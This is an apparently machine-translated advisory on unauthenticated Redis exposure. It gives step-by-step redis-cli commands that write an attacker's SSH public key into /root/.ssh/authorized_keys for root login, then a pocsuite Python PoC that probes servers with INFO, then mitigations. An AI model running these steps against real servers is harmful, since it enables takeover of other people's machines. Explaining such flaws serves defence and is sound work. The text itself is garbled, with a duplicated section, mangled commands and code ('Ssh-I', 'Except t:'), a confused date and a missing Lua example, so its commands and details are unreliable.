Unauthorized access defects in Redis can easily lead to system hacking

Unauthorized access defects in Redis can easily lead to system hacking

The Sebug website publishes detailed vulnerability information about unauthorized access defects in Redis. Unauthorized Access defects in Redis can easily lead to system hacking. For details, see the following:

Vulnerability Overview

By default, Redis is bound to 0.0.0.0: 6379, which exposes the Redis service to the public network. If authentication is not enabled, attackers can access Redis and read Redis data without authorization when they can access the target server. Attackers can use Redis-related methods to write their own public keys to the/root/of the target server without authorization /. in the authotrized_keys file of the ssh folder, you can directly log on to the target server.

Vulnerability Overview

By default, Redis is bound to 0.0.0.0: 6379, which exposes the Redis service to the public network. If authentication is not enabled, attackers can access Redis and read Redis data without authorization when they can access the target server. Attackers can use Redis-related methods to write their own public keys to the/root/of the target server without authorization /. in the authotrized_keys file of the ssh folder, you can directly log on to the target server.

Vulnerability description

The concept of the Redis security model is: "Please do not expose Redis to the public network, because it is very dangerous to expose untrusted customers to Redis ".

The reason why the Redis author gave up solving the security problem caused by unauthorized access is that 99.99% of the use of Redis is in a sandbox environment, the increase in security rules for 0.01% of the potential also increases complexity. Although this problem cannot be solved, it is still not cost-effective in his design philosophy.

Because other trusted users need to use Redis or O & M personnel neglect, some Redis instances are bound to 0.0.0.0: 6379, and authentication is not enabled (this is the default configuration of Redis ), if the related policies are not adopted, such as adding firewall rules to avoid access from other untrusted source ip addresses, the Redis service will be directly exposed to the public network, as a result, other users can directly access the Redis service and perform related operations without authorization.

Using Redis's own related methods, attackers can write files. Attackers can successfully write their own public keys to the/root/of the target server /. in the authotrized_keys file of the ssh folder, you can directly log on to the target server.

Vulnerability impact

Redis is exposed to the public network (that is, it is bound to 0.0.0.0: 6379, and the target IP address can be accessed through the public network), and it can be exploited because it does not enable authentication or add relevant security policies.

The ZoomEye search results show that 97700 of Redis services can be directly accessed on the public network.

According to ZoomEye's latest detection result at on January 1, November 12, 2015, it is shown that:
There is a total of 49099 Of the world's targets for direct use of Redis services without verification, of which 16477 are in China. The proportion of crackit written, that is, the proportion that has been hacked, is 65% (31 thousand) globally and 67.5% (11 thousand) in China ).

1.1. vulnerability analysis and utilization

First, generate a public/private key file locally:

$ Ssh-keygen-t rsa

Then, write the public key into the foo.txt file.

$ (Echo-e "\ n"; cat id_rsa.pub; echo-e "\ n")> foo.txt

Connect to Redis and write the file

$ Cat foo.txt | redis-cli-h 192.168.1.11-x set crackit
$ Redis-cli-h 192.168.1.11
$192.168.1.11: 6379> config set dir/Users/antirez/. ssh/OK
$192.168.1.11: 6379> config get dir1) "dir" 2) "/root/. ssh"
$192.168.1.11: 6379> config set dbfilename "authorized_keys" OK
$192.168.1.11: 6379> saveOK

In this way, you can successfully write your own public key to the authotrized_keys file in the/root/. ssh folder, and then the attacker can directly execute:

$ Ssh-I id_rsa root@192.168.1.11

You can remotely use your private key to log on to the server.

Of course, the written directory is not limited to/root /. authorized_keys under ssh can also be written to the user directory. However, many Redis instances run with root permissions. Therefore, to write data to the root directory, you can skip the user guessing step.

Other dangers of unauthorized Redis and database data leakage

Redis, as a database, stores various types of data. Unauthorized access may result in data leakage, including stored user information.

Code Execution

Redis can nest Lua scripts, which may cause code execution and endanger code execution on other servers, as shown in the following example:

Once attackers can execute arbitrary code on the server side, the attack method will become much more complex, which is very dangerous.

Through Lua code, attackers can call the redis. sha1hex () function to maliciously use the Redis server for SHA-1 cracking.

Sensitive Information Leakage

Through the INFO command of Redis, you can view server-related parameters and sensitive information, paving the way for subsequent penetration by attackers.

We can see that a lot of Redis server information is leaked, including the current Redis version, memory running status, server count, and other sensitive information.

Redis distribution can be used directly without verification worldwide

Redis TOP 10 countries and regions can be used directly without verification

Vulnerability PoC

#! /Usr/bin/env python
#-*-Coding: UTF-8 -*-
Import socket
Import urlparse
From pocsuite. poc import POCBase, Output
From pocsuite. utils import register
Class TestPOC (POCBase ):
VulID = '000000'
Version = '1'
Author = ['anonus us']
VulDate = '2017-10-26'
CreateDate = '2017-10-26'
UpdateDate = '2017-10-26'
References = ['HTTP: // sebug.net/vuldb/ssvid-89339']
Name = 'redis unauthorized access PoC'
AppPowerLink = 'HTTP: // redis. io /'
AppName = 'redis'
AppVersion = 'all'
VulType = 'authorized access'
Desc = '''
Redis can be accessed without a password by default. Hackers can access all the information in the database directly, causing serious information leakage.
'''
Samples = ['']
Def _ verify (self ):
Result = {}
Payload = '\ x2a \ x31 \ x0d \ x0a \ x24 \ x34 \ x0d \ x0a \ x69 \ x6e \ x66 \ x6f \ x0d \ x0a'
S = socket. socket ()
Socket. setdefatimetimeout (10)
Try:
Host = urlparse. urlparse (self. url). netloc
Port = 6379
S. connect (host, port ))
S. send (payload)
Recvdata = s. recv (1024)
If recvdata and 'redis _ version' in recvdata:
Result ['verifyinfo'] = {}
Result ['verifyinfo'] ['url'] = self. URL
Result ['verifyinfo'] ['Port'] = Port
Except t:
Pass
S. close ()
Return self. parse_attack (result)
Def _ attack (self ):
Return self. _ verify ()
Def parse_attack (self, result ):
Output = Output (self)
If result:
Output. success (result)
Else:
Output. fail ('Internet nothing returne ')
Return output
Register (TestPOC)

Solution

Temporary solution

1. Configure the bind option to restrict the IP addresses that can connect to the Redis server and modify the default port 6379 of redis.

2. Configure AUTH and set the password. The password is saved in the redis configuration file in plaintext.

3. Configure rename-command CONFIG "RENAME_CONFIG" to make it more difficult for attackers to use the config command even if unauthorized access exists.

4. The good news is that the author of Redis said that "real user" will be developed to distinguish between common users and admin permissions. Common users will be prohibited from running certain commands, such as config

Official Solution

No official Solutions

Recommended protection solution

No protection solution

This article permanently updates the link address: